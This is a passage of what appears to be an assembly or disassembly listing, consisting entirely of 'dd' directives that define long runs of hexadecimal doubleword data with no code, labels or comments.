91849DD7h, 91B98211h, 687460FDh, 7B770EFAh, 3712C6Bh dd 886A7F75h, 9810422Eh, 8CAF7450h, 0C92BD902h, 1662F50Ch dd 2C53CE01h, 845CA1A8h, 9FDB7EDCh, 0CCF9F811h, 0E907AFECh dd 15697BF6h, 770C849Ah, 3DB8FA25h, 8202ED7Eh, 0BB9740Ch dd 0C6D1B079h, 203E7A18h, 0A224001Fh, 0AE0F9C85h, 0A41151C5h dd 0F808F261h, 4810091Bh, 30E5AB27h, 6122C8CEh, 7DAEE6E5h dd 1ECE13E8h, 0A664B4h, 5442EC8Fh, 57816CC4h, 87FE5F16h dd 6CEDC00h, 0BA671A10h, 4813FB40h, 0EE26A9C8h, 0D3C780Eh dd 8065C009h, 1C15C551h, 0D3C3E3D3h, 0F53C0824h, 59FF1881h dd 382069CCh, 0A839F474h, 2E41A984h, 4278834Ah, 840FE392h dd 6E007FEBh, 2BE242CBh, 80501F5Ch, 44DFA3ADh, 0B0D15EDAh dd 0CA74FFA8h, 4793891h, 0B200A918h, 642880EBh, 0B84B6B3Eh dd 8744B671h, 86F8CF8Dh, 7CB01125h, 245B0142h, 0B3F880B0h dd 0C02C13C6h, 193175F8h, 0BC486689h, 292E1D02h, 0F1CC00D4h dd 0DE87C7B2h, 0D879F9h, 0A86F3FCAh, 27B1E9A6h, 0D0C68177h dd 2C90D54Fh, 5CEE738Fh, 3AB58053h, 0FE2384h, 7A935FB1h dd 8524E477h, 890D68C1h, 0DCCCB964h, 80AD006Ch, 0BA733E38h dd 0DD140F8Bh, 963CCAE5h, 0D8C87C8Ah, 523ABFC0h, 0E3060093h dd 60447C2Fh, 1D76EE02h, 0DD040D71h, 0F19A5F2h, 104350A1h dd 0E710DACBh, 609964BCh, 0F40974D6h, 0F6FD01EAh, 4522777Eh dd 6DC983EBh, 0C8696512h, 0C9A5FE51h, 54E5B779h, 556005E4h dd 661FAA19h, 8012BA0h, 7F8F3FB7h, 4994203Bh, 13015729h dd 0EDD41EF0h, 0FAD4D3EBh, 9BF34A46h, 1C3D8074h, 12F821FBh dd 0A4D3A14Ah, 8843A2D4h, 7B2C504h, 0CBD484E6h, 0CC2677D4h dd 75008FB2h, 83340A06h, 76730974h, 0D8F99011h, 73189979h dd 8B662303h, 90CEA135h, 701A6FDDh, 48023868h, 6D9730F3h dd 501F4A81h, 0E624AC92h, 7460A0A5h, 9D7D120Ch, 0DAE47C84h dd 0C7800834h, 0C6923813h, 8BF4B47Ah, 5B2E6A3Eh, 1884348Dh dd 442CF2C3h, 3721839Eh, 735107D4h, 2002676Ah, 0FA5140C0h dd 402690BEh, 203FF0ACh, 7CE51487h, 0B50548DFh, 0CBAC3D2Eh dd 2110DCC4h, 1B4F9C7h, 3F3482E6h, 25A60C42h, 1ACD01CBh dd 0A04E2B2Eh, 0A3FEA0B2h, 1CA43034h, 43D32866h, 0F7C55F61h dd 0DF0098CCh, 0E5D9B208h, 4069C4B3h, 39B2D6ADh, 31A90032h dd 276CDBEFh, 6400261Fh, 12936A9Fh, 626D4DF3h, 797788E6h dd 6C082872h, 0A09F5FBh, 167878A2h, 23903AD7h, 0E37D0094h dd 117961FAh, 5F64100Bh, 905A87h, 1C2F8595h, 96C4F34Dh dd 0B6FD1201h, 0B37CA3CDh, 5E845CCAh, 0F1027046h, 8976185Fh dd 4C80D87Eh, 51F68339h, 3080064h, 0A1AF25EBh, 2A025827h dd 0D8536BD7h, 74D0809Eh, 0D3C589E1h, 78A238h, 5B0A0493h dd 10FA6D0h, 0A9E956BAh, 2090AAF1h, 4200C530h, 0F2EC485Dh dd 616F11AFh, 8CCE1886h, 40F4C5ADh, 0DD1EEDB4h, 0D368601Fh dd 0D04A0E5h, 6387E5h, 0CE9B9658h, 0A685E3C5h, 81BC500Fh dd 86CF2032h, 12FFC130h, 9089D509h, 720EB3A0h, 4092730Fh dd 542DE034h, 9B7E3CAh, 786DC474h, 11517800h, 7D0066D4h dd 730DA696h, 0FE742DF3h, 0DC7E0CC2h, 0A1286901h, 547C331Fh dd 0A0084756h, 0CC219D2Bh, 1ED0F30Ah, 0AA80C8B4h, 71E6A6A9h dd 0F56C00EDh, 7F21C4C7h, 51C0860Ch, 0F828D389h, 44450078h dd 4EA9AAFh, 6A00F16Eh, 2E54BEF2h, 76A0426Bh, 72A6002Ch dd 0FF5BA489h, 1900D88Ch, 12B3871Bh, 0F8A710h, 0C9471FB1h dd 0BAF514FAh, 3546D800h, 3D20480Ch, 0E3F9D1h, 64D71818h dd 0AF6D41F3h, 2015C229h, 20EB5CE2h, 4A9137CEh, 6B7477E8h dd 0EF130E07h, 40D47B42h, 0BBC0E4C7h, 0AD12B7h, 3DFCBADFh dd 0AB56515Dh, 204AAA29h, 10805846h, 42FFA7CCh, 16C60014h dd 64DDA413h, 0EC83F9A6h, 49848951h, 6C401EA2h, 7401C8ABh dd 0B56D4ED3h, 0ACFADE58h, 628A0834h, 0F170C00Bh, 0A02180B7h dd 1F04D1F0h, 8017E460h, 0C865789Eh, 19027509h, 72056B0Ch dd 0EFEC80AFh, 0BEFE5Dh, 8FADBD1h, 68420C37h, 8CA5C100h dd 9607F005h, 3AEC0CE7h, 7628BF0Bh, 44980944h, 2284E4BEh dd 0A25011B4h, 15F38D28h, 71297219h, 22849E08h, 0AC22BD34h dd 0B52F320Fh, 3C828AA1h, 4027BBB0h, 140D9428h, 385C8622h dd 6AF0050h, 0C90E3563h, 0D5AD009Fh, 0BDE5A3F1h, 0DA039CD9h dd 2CB49EC2h, 0B3BAA82Fh, 0E8840075h, 0DB9D5B98h, 0D200E9E1h dd 6D371D01h, 0D31874h, 0E02D08BCh, 0A0CF710Dh, 539F6A00h dd 0B558C45h, 0B8B1003Ch, 1E2B5F05h, 1B7F0EA1h, 7B62D4E7h dd 1D716800h, 0B83457F8h, 0FE3503E0h, 463CA4F6h, 0D70A4003h dd 0E8847E5Ah, 0FC0BDE9Ch, 0D981036Eh, 3CD2CFC8h, 2EC342F8h dd 8B85A900h, 15F1B1D5h, 1F7488h, 6DC0CB99h, 0B4795181h dd 0DD00577Ch, 0F4296955h, 4299B8h, 0B9A37419h, 854D7E8Dh dd 0CD09D400h, 2FBF524Fh, 0EE3F3CC4h, 0CF133180h, 531C667Ah dd 61323500h, 0DBAFEB96h, 88B90051h, 233E281Dh, 1300E392h dd 4D7608CBh, 6ABD48h, 9F97E83Ch, 9086B39Dh, 21A2BB00h dd 60F99947h, 6F3400EDh, 0E76A1DB5h, 2401F359h, 0CD572122h dd 0BFE4C407h, 0EA1B00ABh, 0CC147F4Ch, 15078D94h, 3370CF1Dh dd 2DE260AFh, 375939h, 603590B2h, 24AC22F8h, 0A2EE1500h dd 708C30A7h, 780F011Eh, 5AC516DCh, 5720E4C3h, 9400B5E4h dd 0B88BE19h, 0FBEC38h, 0CA28B478h, 9727695Fh, 26FFDD00h dd 1482D69Fh, 8D300321h, 1D91906Eh, 0EBFB6898h, 73118000h dd 1C618AEFh, 195005F3h, 0E7EC84Ah, 1BE549Ch, 75C03D90h dd 0AA2EE4A5h, 63DC4403h, 0DB854A71h, 577DD070h, 0DEE0C0DDh dd 9A6A56A8h, 0A4271928h, 0B43E9E00h, 0AD0ACBC1h, 0A8E4C6h dd 0F1DE7360h, 644EE906h, 6298E100h, 7DB5157Eh, 0C07F002Fh dd 564C2D7Bh, 0D5018512h, 93FEEFBDh, 41E02AA1h, 0DD2C0088h dd 0E512C19Eh, 0CF28E642h, 9700C038h, 354B8929h, 2C7E1Eh dd 3BB98B09h, 200160A5h, 0B3C05C00h, 737ACCF6h, 0B4F138D9h dd 977BAF80h, 8A4C66Ch, 0D79FB800h, 5BBC37F2h, 9E5F0729h dd 804FBA24h, 0DB1A99B7h, 0A28BEA00h, 61D82EF3h, 26780135h dd 1CD3C0BBh, 0BCA8E891h, 3FCA9800h, 6EFD36A1h, 34B700F8h dd 0AEFF0BAAh, 6C019C33h, 62630194h, 40C63E97h, 0E5B44A1Ch dd 170F9A70h, 1FE929h, 0C47999F4h, 760385ABh, 7E0CFF2Eh dd 9FF0003Bh, 940EEA9Eh, 6F001DA0h, 0DD4F1061h, 886B1Ah dd 0A175925Fh, 0BD57CBB5h, 0DA6E6D00h, 1C639E45h, 32C20361h dd 83DD682Eh, 24D75FD8h, 9CEEE200h, 333548F8h, 0D462336Ch dd 90F85631h, 951C931Eh, 43C034C4h, 66473517h, 0A43648B3h dd 0B6038B39h, 3CA31477h, 0E4EA0FA8h, 856D4207h, 50211631h dd 0DC304855h, 32130F68h, 0D8A09CBAh, 0B789250Bh, 0F8AB2A28h dd 1B6B9901h, 239777EBh, 76D1B1DCh, 0E790021h, 6D437AB0h dd 32008625h, 0FB800D83h, 1C1A3CE0h, 40FF79B9h, 972F5758h dd 0D2ED8AC8h, 3880D043h, 0DF01E469h, 92399BA4h, 6BC072ACh dd 2A1007D6h, 9030ED9Dh, 51DF787Bh, 22248DF0h, 96803CB8h dd 0AA5F0E8Fh, 0F9F400B3h, 4DF29165h, 27E63C68h, 8001B76h dd 94C81E5Bh, 85F8B9h, 8E515AF7h, 0CD603214h, 99725Ch dd 16F16BEEh, 3962D717h dd 84006193h, 81E899E6h, 5E006404h, 0B6BEB2F1h, 714B94h dd 0F6F97C09h, 0DC9B951Dh, 55DE0207h, 0CE9085D0h, 0C523BFh dd 8C925461h, 0C4E2F9Ah, 0E304AB72h, 2A6A7266h, 36133AC0h dd 7CFA0497h, 0C04251F1h, 9C885BDBh, 373BEEE8h, 59789FB1h dd 9DAA80FBh, 32201184h, 0D77C4C3Fh, 4C7D4F03h, 159008AFh dd 2D00C9F6h, 42510F2h, 7A54A54h, 0F93862DBh, 0F6EC053h dd 0CD0F15ADh, 804FF4F3h, 2973541Fh, 5EB70005h, 751D706h dd 103C187Fh, 0E4CCC7h, 0AE2177E9h, 396E0939h, 99834746h dd 72B51689h, 0B99C2090h, 6A798300h, 91A3DD2Bh, 0C8C2001Bh dd 0CC6DD2F8h, 0B100A8DFh, 0A106D351h, 4CF48A2h, 26630E36h dd 8C98811Bh, 0CD3E00Ah, 951FB20Fh, 4A516093h, 4C2599h dd 4088545Fh, 32040FB5h, 98526700h, 0B7575C30h, 0D4A4A02Ch dd 483804B6h, 0C018C4FFh, 44F6548Ch, 8F08C201h, 0F2BD4695h dd 92D62BD4h, 0EEE77580h, 1F800069h, 0C7859FE8h, 0D0087BDh dd 0CD17CA0Ah, 0D5B00Bh, 0D38A73DAh, 0A6408E82h, 0DE842900h dd 0C42E5DF6h, 935603EFh, 4F3CE349h, 6D1C26C0h, 42DF8618h dd 1F91B121h, 40F0851Eh, 0C07355DCh, 45002C17h, 19966286h dd 0A01E92h, 0B52A03E7h, 0D68B428Eh, 0FBFDF703h, 90ECCBA3h dd 0E0BEC76Fh, 81680735h, 40E7930Ah, 0C4EF2980h, 0A4319700h dd 893E2E45h, 0B088499Ch, 0FFE340h, 9853EF94h, 0C27D22AAh dd 61FB8F03h, 0B7ADDA63h, 1DABC2DEh, 4A96800Fh, 5128ECh dd 7C06FF7Eh, 0A05B495Fh, 0D398E274h, 0B04BC424h, 0D44C3D00h dd 5AEC48h, 80FF09B7h, 0B418134Eh, 0DE3CCF00h, 796B4978h dd 0F1AE3E9Ch, 0AC306480h, 868D743Fh, 65218A00h, 68C37B98h dd 26B91EE8h, 19A34080h, 2FCBC839h, 0E3E9CD00h, 60DBAFEh dd 0B3F7167h, 68A24E8Eh, 91E2EB00h, 3006D01h, 0F742FC20h dd 0C07D23C9h, 1D8A2228h, 94CF814h, 0B4B60068h, 0C30BD4DDh dd 21B500D9h, 9E2F56C8h, 0F028FC29h, 681E9895h, 0A71316ACh dd 857F3C41h, 29D858FBh, 25E30241h, 0FE49F832h, 0B0A98BE0h dd 0F07AF700h, 0EDDDC2F9h, 91070027h, 688CE863h, 0C54B41Dh dd 6720A598h, 0F4450083h, 3B2B4078h, 0FE078B9Bh, 0AA2354CFh dd 347D1AB1h, 43CECh, 0BBD11D83h, 14CE5DF1h, 499EA160h dd 0E8C6A0B9h, 7D2900BDh, 0F8C77680h, 6D005B8Ch, 5051CB09h dd 56ABE97h, 0CFC1C5E0h, 6FA0804Eh, 2630D2CCh, 0DF669E7Dh dd 2371CE2h, 859EC080h, 3309B5B1h, 960074B0h, 4C7508DCh dd 72643FA8h, 51E2380Ch, 621E1380h, 0F0B7EBC9h, 204FCF00h dd 0BE1AD309h, 499E000Eh, 6FC75AADh, 960EB394h, 0E0AB0DD4h dd 57A7D737h, 0DC3E0070h, 0A4156749h, 8E1F7C66h, 69C02E4Ch dd 8F83084Ah, 9BE2001Dh, 0A963391Eh, 2F03BF8Eh, 0A14B66DBh dd 0F590E05Fh, 87B400ABh, 22D33806h, 8A008EA5h, 825D16C8h dd 9458CFF4h, 86D00024h, 0B23EF190h, 0FC0180h, 0C09F76E2h dd 0F09D4D7Dh, 1374564Ch, 821D70Ah, 0A0719CB9h, 0EE4A5F8h dd 958E13Ah, 0D60D2EA0h, 164C497Bh, 467505C8h, 50803917h dd 3DDA49Ch, 12C03C9h, 6000B67Fh, 3305E758h, 477F14Ah dd 0C4AEF6BDh, 791C868Bh, 53D2F550h, 69EA6F03h, 0F8379D48h dd 94E8A636h, 0AEFA00A0h, 5A2A2546h, 0F01A1D00h, 715247Eh dd 98FC5CCDh, 5E5CA800h, 0BDA8894h, 143B570Eh, 9D46411h dd 22C0CCh, 0AF79B397h, 0D81F8C55h, 0C8E3D600h, 146672E2h dd 757313D7h, 8ED000Dh, 8E37E015h, 0B7833624h, 744CC100h dd 747EC7Ch, 2879AD25h, 6C35D03Ah, 0F139DBE7h, 960A00E3h dd 0F88E0261h, 0D9140015h, 12CD0B9Ch, 6E17AB5Dh, 94004DE6h dd 37A5246Bh, 0E2820060h, 9D74A240h, 6C01A80Fh, 0DDA1F465h dd 60F5077Fh, 715E5ECh, 5FB069A0h, 0A8BAA093h, 0A30F9C04h dd 83C3E6B3h, 985E359Eh, 9E3AE24h, 4899B7C0h, 0E8C67C00h dd 0B600A144h, 6B3A07DBh, 0E0CF5ED2h, 84AD000Ch, 667F0DD9h dd 8E028D1Ch, 5CB4F29Dh, 570041BBh, 9CC16E5h, 2AE00031h dd 9183BCDDh, 0B3175676h, 0E5F8CC97h, 0D0DC7A03h, 9A0B159h dd 1A00CF70h, 5EFB929Eh, 0ACFD6Eh, 33D6F624h, 731F72B7h dd 50821E12h, 37200000h, 60C278DFh, 195B28C0h, 5830E7CFh dd 28EB10C1h, 308D4AB4h, 30E9742Ch, 4473F00h, 0D08948DFh dd 26870B61h, 9001AABAh, 0E435D5DDh, 3161C91Ch, 0F4C724FEh dd 0E860EAE9h, 257B82h, 0D8802B66h, 653C69F3h, 20CE5200h dd 678272EAh, 0B2100FC2h, 0B6B8CFF6h, 6E122C1Dh, 9700EADFh dd 880B6377h, 4EC73C8Bh, 30999A00h, 21E26DA7h, 442F2800h dd 929D0FA2h, 8F460070h, 1C1E1A41h, 0D11FCD6Ch, 803BAB79h dd 0ED226D67h, 3B8245h, 38F4DF25h, 0FB04CF4Eh, 10A7700h dd 0C493A72Fh, 2076003Ch, 82BDE457h, 0A000BB30h, 0D0A62D3Fh dd 14C741Eh, 765F451Ah, 0D46DF4FFh, 4D00190Dh, 9C7EEF6Ch dd 719FD5h, 6BC5E39Ah, 0BD50AF8Eh, 0E4755909h, 69D48038h dd 292F23h, 1D4177B6h, 3DDAC97Ch, 2F03712h, 0D81449h, 0C01F840Eh dd 1B280076h, 0F0324C40h, 44056E41h, 361E4A6Dh, 94B624C0h dd 50A0F876h, 0F6BDB0C2h, 5A6E00BBh, 0E198FD7Ch, 50E4C305h dd 8A9AB00h, 826F3249h, 71D10068h, 0F66D83DDh, 0E385409h dd 0AACE0024h, 3559B95Bh, 6B45008Eh, 0BC80A62Fh, 0F21E25D5h dd 81FCA764h, 0D78DC085h, 0D2F0D828h, 0DFB6000Ah, 0E6518ED1h dd 89002955h, 0DF73B67h, 3AD9C5FAh, 0E800F266h, 0BBBEF0B6h dd 17008218h, 34233020h, 0AF7736h, 924FAE4Eh, 463D28C5h dd 0C031A000h, 192068E2h, 7BFF00CDh, 0ED574C2Ch, 86005C32h dd 786050B8h, 0D45F7Eh, 7ADEFBE3h, 51DBD3A0h, 0EB8F300h dd 0C56A82Bh, 356B0092h, 0BDAAC17Dh, 0DA04AE6Fh, 0CACDB9EAh dd 0BF659481h, 909D2C64h, 5EF500FCh, 52AED83Eh, 870036C6h dd 0DB29CB5Bh, 26853443h, 78457Fh, 63AB12B0h, 0A3001F58h dd 87F10DDDh, 5C6EAA33h, 0F71F387Dh, 33E71335h, 5CD84BB8h dd 5948B87Bh, 0BD1702EFh, 808A75FBh, 0DDE8E4FEh, 0DE811EE3h dd 0C5598F11h, 3C903080h, 27001C43h, 844EF54h, 10952Eh dd 0AEBA2138h, 769D9C94h, 42C63B00h, 0D9E05365h, 0B8FCFD6Ch dd 36F900ECh, 9002D1A0h, 65F85FF4h, 0F017B916h, 4291FE00h dd 887E05h, 0D323944Ch, 90EB5143h, 0FC7A2C1Fh, 0D6102880h dd 0A2C15Bh, 3D821DDAh, 4EA0B186h, 38009C90h, 0F7ADA73Ch dd 4221B6Bh, 87CB96CAh, 0F58CD203h, 0AE00C458h, 601A0705h dd 0A0E5A3h, 5F34D11Eh, 53471454h, 21BA9801h, 31D864AEh dd 1559C20h, 1329DC44h, 706B08EFh, 52E260C0h, 0F3002672h dd 0B1213371h, 8076ADh, 2D87A742h, 250BAB3Fh, 0E3A3A407h dd 1B64D20Dh, 9C3E80C0h, 0FC4B3C5Fh, 0F7B42903h, 0BAD82673h dd 864C6D48h, 6B4D0777h, 71201650h, 1C7799Eh, 95ABAD77h dd 0F401A8E3h, 1800A9E7h, 640A7894h, 4BDF606h, 0D9E2D57Ah dd 60BDC184h, 0FCEFCDA4h, 5A00EB6Bh, 54484953h, 72B41289h dd 1A40006Dh, 2F05CCCFh, 0B008BE5h, 0F8D1DC4h, 241597BDh dd 78A65C9h, 20033655h, 0E4B513F0h, 0B16ED500h, 7E998E80h dd 0A03B030Fh, 0FCB3CDC5h, 18781E82h, 6000E74Fh, 0BCCF0486h dd 0C9E12E5Bh, 0D1D90010h, 85362D73h, 0EA7B9AFEh, 243F340Eh dd 9D2760E4h, 320133h, 85EFFF61h, 0C92C9F63h, 8470392Ch dd 0C1DCA05h dd 3DCD4CA4h, 740B2DF6h, 0E80113B6h, 0E0AECCE7h, 2B0F51F5h dd 6E3914D1h, 0D577A32Dh, 0A9BC805Fh, 1DC809DCh, 0D1007D24h dd 0FFF1DAFEh, 0F8320800h, 0EF26EE29h, 64860442h, 0A041EB19h dd 913967BCh, 0C0330098h, 0C4FEC20Ah, 4D161E83h, 725D8084h dd 0DCE6D8B7h, 0BBD35001h, 0D9279B55h, 657CE4h, 1D88CE75h dd 0A2F93D2Bh, 52E8F02Ch, 0A91A2101h, 3BC08C6Ch, 53F10062h dd 231C244Dh, 90009A32h, 200DD7D9h, 0A4A0F4h, 0E3DEF64Ah dd 0C5C8E760h, 3105767Eh, 79BE20Bh, 0F82B9B00h, 58FE9A43h dd 0F008DDDh, 325E2DF3h, 62EC0C1Fh, 3621761Ch, 2C2FAB40h dd 0FC7C4C1Eh, 48FA1605h, 0F8E04772h, 0B646154h, 3EC281Dh dd 93FFBCB5h, 0AFDA829h, 3540062h, 97F8EF2Dh, 7300C861h dd 6FE6E5B3h, 0BF7C5Dh, 0A44B3446h, 85684EFFh, 0ED1BB09h dd 28FC80FEh, 6B082E1h, 34B64BB3h, 0BD007857h, 0D522CC3Bh dd 36A1B2Ah, 530423ECh, 9698C495h, 0CC6093B3h, 3E4A57A0h dd 21886137h, 0CB521CDEh, 8CF0AFA0h, 0D4C90A60h, 0BE97B7h dd 0B82BEC12h, 6626E1A2h, 40BD4Ch, 0A0D9D630h, 71EB5809h dd 49C90016h, 236FB202h, 5C3C7F7Ch, 0E1700048h, 5FCA6D03h dd 79827436h, 8DF20EA1h, 0F100350Ah, 0FD18CD56h, 31712A00h dd 52114039h, 8CD6191Ah, 0DFCDB065h, 14552002h, 82A5D512h dd 8872F00Ch, 3E006858h, 573F6F22h, 81900003h, 0C6C0A02Fh dd 723ED30Eh, 98AD0077h, 4F449A58h, 2D04007Ch, 0FF7B8F63h dd 8E00436Eh, 5E36A508h, 963F0Bh, 47213BC7h, 48E42CB5h dd 615FC600h, 0DE5C128Ah, 23090034h, 63B32D0Ch, 740CD74Ah dd 0D8D53725h, 0D696034Fh, 5721EEE3h, 0F004A947h, 0C04C33B0h dd 61F1FF10h, 0F4093EC0h, 9050A416h, 0FA3114h, 0AC29647Bh dd 0DB8C604Eh, 9C243C16h, 750E4800h, 0FBBE92Bh, 0CDD71759h dd 204956E7h, 24A92531h, 0A435C200h, 8AB294B4h, 936D00D4h dd 1A2345BCh, 42E0209h, 54A6806Fh, 0DE75173Fh, 0BE5CE880h dd 1306007Ch, 0B3F245Bh, 1704FC50h, 887768E1h, 6E68F0h dd 533B048Dh, 67117047h, 18A24503h, 0C0CB55A8h, 19EFDACh dd 23C50C88h, 804593BCh, 0F6B7C661h, 9926EBEh, 0CB616503h dd 0B4609C89h, 177916F2h, 95977707h, 69AE5A69h, 84C40041h dd 2205F61h, 88DD1278h, 0BC695E26h, 79A82919h, 89698C60h dd 359B53h, 0D4FB30EBh, 17233DACh, 0F80B1007h, 431054D9h dd 0A9CB22B6h, 9FDD05CCh, 69007438h, 644D113Bh, 901591E1h dd 9857F2h, 0E293D573h, 1FA7DA5h, 63160D27h, 0EC9529D9h dd 0A700F2D8h, 0E3B28D3h, 0F0A0D780h, 5A9F00E7h, 15386C56h dd 70051D1h, 8FFC26A8h, 2839F1BEh, 75F0E4EAh, 92E0040h dd 4C26E897h, 5A909B7Ah, 0E53B111Fh, 0D6783C41h, 4EFC94DCh dd 0A010004Bh, 9784FD91h, 0CB783F8Ch, 55A3B200h, 0BD88A4Ah dd 0B50D2CDEh, 89CF004Ch, 61EC3AF0h, 4B2FDA09h, 3C6440A1h dd 8C7E0766h, 0B07BC46Ah, 0BB2A964Ah, 60749E6h, 0B1D4D910h dd 7143FCA0h, 0F59D0078h, 56275A72h, 1471FB91h, 35D2DF00h dd 10543389h, 20B8285Ch, 710700B0h, 0D818E999h, 4F7F7A83h dd 0A6F3C904h, 0AC902B19h, 0BF986Ch, 30BA731Fh, 0A647C93Ah dd 82FE4225h, 603D707Ch, 32C6C35h, 0A8EDBACCh, 1A8FBB3h dd 3573CB2Ah, 0C6849200h, 0AD406B5Dh, 0AC0C0109h, 0BB88C4A4h dd 0DF69A657h, 31013420h, 28EDCE55h, 0A6D49887h, 4830F86h dd 0F9A00326h, 77972731h, 0B8807F00h, 0E8960BE2h, 0CBBE005Eh dd 12B08DB1h, 0E9049E16h, 0AA5F9519h, 0CE8E3C90h, 0F21D24AFh dd 0D0FD8830h, 47DD0B87h, 0FA092170h, 634D0017h, 153FB789h dd 9C900FCAh, 0A4B80600h, 0BA91878Eh, 0B23C00A1h, 51D4E9B5h dd 0A770CC82h, 0D8003DF2h, 0BAB3AE08h, 745E9E3Ah, 0D0850EABh dd 31409F25h, 596FB853h, 0E4DBFB1Ch, 9AEB46C0h, 50FEA5h dd 0EF7FD1B9h, 0E394C7BEh, 1C0F1374h, 40F7422Ah, 0AE1DB44Dh dd 69F0026Ch, 0FA211499h, 70553849h, 3A0F48DCh, 823E981Eh dd 0E0A1095Bh, 0BA4DB463h, 94B0A8h, 0CB14DFD7h, 0C95D874Ah dd 0CD293660h, 215AD6h, 0B92D0BE4h, 0C5FDD4DCh, 0C89C6000h dd 0CE0A6D61h, 0FC1B58D0h, 210F3700h, 2DC47453h, 0A44C3C28h dd 0EA2C1424h, 4D6E8E39h, 6F6741FFh, 0D8641856h, 0B1BF159Ah dd 0C7BC841h, 3226C755h, 25004811h, 85523FBFh, 0CA7311h dd 420BA278h, 7C15D2C3h, 0CC7BA2B8h, 45FE2B00h, 0DDFD8F44h dd 0AC8B00FFh, 53351E8Ch, 0B8006229h, 6CF3E6E9h, 3AD98234h dd 3080C93Bh, 4A0E0A7Eh, 0DC00A10Bh, 0FEC4103Ch, 0BFD517h dd 559695C1h, 3A458C43h, 9C3BB3E6h, 87B51740h, 0BD086300h dd 9490CD3h, 0A1E533D8h, 10B1E827h, 0C83EA58Ah, 0F812126h dd 7E80251Ch, 9283AF4Dh, 0E15309DBh, 3800C8C9h, 461048D3h dd 5E0B0AF4h, 80D265CDh, 9136B7DBh, 0BC10C0C2h, 0F818534Dh dd 7B344700h, 7142786Bh, 85A224DCh, 0CA6E05D8h, 0FF70D0CFh dd 19C09E02h, 88A94595h, 7D66980Ah, 118B075h, 0A1AB7E58h dd 9782A02Ah, 2C881089h, 3820FFF1h, 0E63E00E2h, 0E2B6D55h dd 0C80BA681h, 2E0A71F4h, 8633E06Dh, 0F508DEh, 7824AC8Fh dd 17C0B1C9h, 3B5D9701h, 0A62D9A85h, 713C69E8h, 9DBB062Eh dd 30F0738Bh, 33D67607h, 9B10D928h, 0CAEB1Eh, 52E00419h dd 0C6FD3C89h, 6701207Fh, 0DE28A183h, 6D86ADAh, 71738Ah dd 0A0C65751h, 0CFAAA2C2h, 0CC1B901Fh, 353AF683h, 0AE9F8B2h dd 7CBF1441h, 860EA03Dh, 0C9C0AA7Eh, 173CC807h, 6018F8C3h dd 541BA895h, 0B9F61E5Eh, 8867402Fh, 0BF5FF51Dh, 0D2AB5109h dd 0B6E4000Bh, 74022590h, 75E600ADh, 88C34E0Fh, 0D3005423h dd 0C5BC3A18h, 0B25142h, 9BCCFD68h, 4D526DDh, 0C4E9A300h dd 0BCC16DB6h, 99080F17h, 77A239BBh, 1CFA1FEEh, 2DC7C0Ch dd 447D414h, 0E970AF78h, 1B6A8112h, 0B247209Fh, 0CE91AC00h dd 0B3930CDCh, 13D402CCh, 0A15D8614h, 9F31E057h, 0DDFB4821h dd 3ECF200h, 8836CDE1h, 8078494Ch, 0C2A342B7h, 0C47D12D9h dd 0A0A08BA7h, 7F67B826h, 78D20052h, 9CA03224h, 9D005817h dd 35DE4BC2h, 4C5538h, 0EDD3CBBh, 8ECB8126h, 0D1D49501h dd 0ECC2BE94h, 12DE3F20h, 937EF0A9h, 204DD644h, 0F5160118h dd 0D514442Ah, 4A5A30D0h, 457803D2h, 0A5BF392Bh, 2EB1C0E8h dd 0DA004B4Fh, 0E2CF2452h, 74C48A0h, 0A206035Dh, 50EA179Bh dd 30373A3Fh, 6045EE30h, 2AED18h, 0AEC7365h, 4EB09F40h dd 390C5307h, 0A052CCDCh, 0FFC524Bh, 0C4ED9B52h, 94B39162h dd 0B1000859h, 52FC8834h, 58C09495h, 0E200CB38h, 85B04FE4h dd 39DDE8h, 7C48D89Ah, 3295F9AAh, 90C14A0Fh, 50432013h dd 0A5BB16h, 0DE580B7Fh, 5FD53789h, 9F003373h, 0F66CBAAFh dd 0D8529Dh, 0E4E03F5Dh, 532A222Dh, 9A8B541Fh, 167C86C1h dd 1481068Fh, 566468D4h, 0BB22D8A2h, 66E67DB8h, 0C70E3A75h dd 636CD4E2h, 0F0977695h, 0EFD0B4h, 9366237Bh, 0B19AB9BAh dd 96023E7Dh, 185A248Ah, 53DCE41Eh, 0A3AB04CDh, 5644F8F2h dd 3D37F0Fh, 0C3D795CCh, 4F9DE3Fh, 98188159h, 0C21C14C4h dd 54F049F1h, 0E7B7C39h, 9AD9F83h, 80059987h, 1E367121h dd 0F38A1900h, 1BA011B1h, 97CA00ECh, 6E6D16C7h, 60DDF4E9h dd 4F3E4B07h, 27F05720h, 4CEC90EEh, 6707B2CAh, 7D6095Ch dd 7CE7B3EAh, 42A2101Dh dd 1729A840h, 37301CCh, 87DE3E6Ah, 901A4D67h, 40D9AC38h dd 0B4D6A4h, 8C4BE7C1h, 0F43B5515h, 9FDC0F0Ch, 2A18D906h dd 7D74D43Fh, 28940373h, 6FAD7C1Bh, 0F13C6000h, 0D657AB24h dd 902660C6h, 2B094876h, 0A007FFAh, 0DA212D4Ah, 1C7210B4h dd 1970A3E8h, 8431D8DEh, 78B87E98h, 0FB3E2002h, 270088D8h dd 1DD26E8Eh, 1E41A7h, 5086A2D5h, 9F916461h, 0CCFC9E06h dd 7D8869DCh, 34F0006Fh, 2A94F10Bh, 0F0AFC82Dh, 0ACB45180h dd 71309EAh, 0BB333ABDh, 0C04EC794h, 0DC37D297h, 34D3AD1Eh dd 0C00146Eh, 3B57055Ah, 0FE6F0E3h, 0BF1D9C2Fh, 0EB02106Eh dd 8489EFC8h, 694C0A86h, 0A5CC4000h, 0E162B828h, 0CBBB1D73h dd 214818ECh, 0CC98C3FDh, 0B9647B1Ch, 3B41B2C0h, 1E095DDFh dd 0CED8F52h, 0F210F4E7h, 271CE406h, 202894FCh, 0CD01C0DBh dd 0A7D43084h, 0A8403752h, 30DBC4Fh, 95CA863Dh, 93E546A0h dd 5E2CC50h, 87F23040h, 785E8000h, 639C6ED3h, 74F60945h dd 64080629h, 0F06A0590h, 0F203CC3h, 1E046D46h, 7F850DCh dd 0B82A5770h, 66B8B580h, 5C5D031h, 10185395h, 7FD40174h dd 80961389h, 21B943C8h, 0C372B0C6h, 94082F39h, 2B0514E0h dd 0DF0CC19h, 219E6608h, 42934030h, 5070D73Dh, 2B78E814h dd 7191590h, 0F07212F4h, 1DA77600h, 1320E98h, 4DB99787h dd 2001FB76h, 0E801B278h, 0CCF8D37Ah, 0C09CFDE1h, 3B64036h dd 199F59CFh, 0F4517A62h, 9C8DC0F2h, 0B11407F7h, 7048E507h dd 9313FDDBh, 7D3DD000h, 0D4338BEh, 0E10B1CA0h, 1426074Fh dd 81FC5A37h, 0F668ED13h, 45BBECE9h, 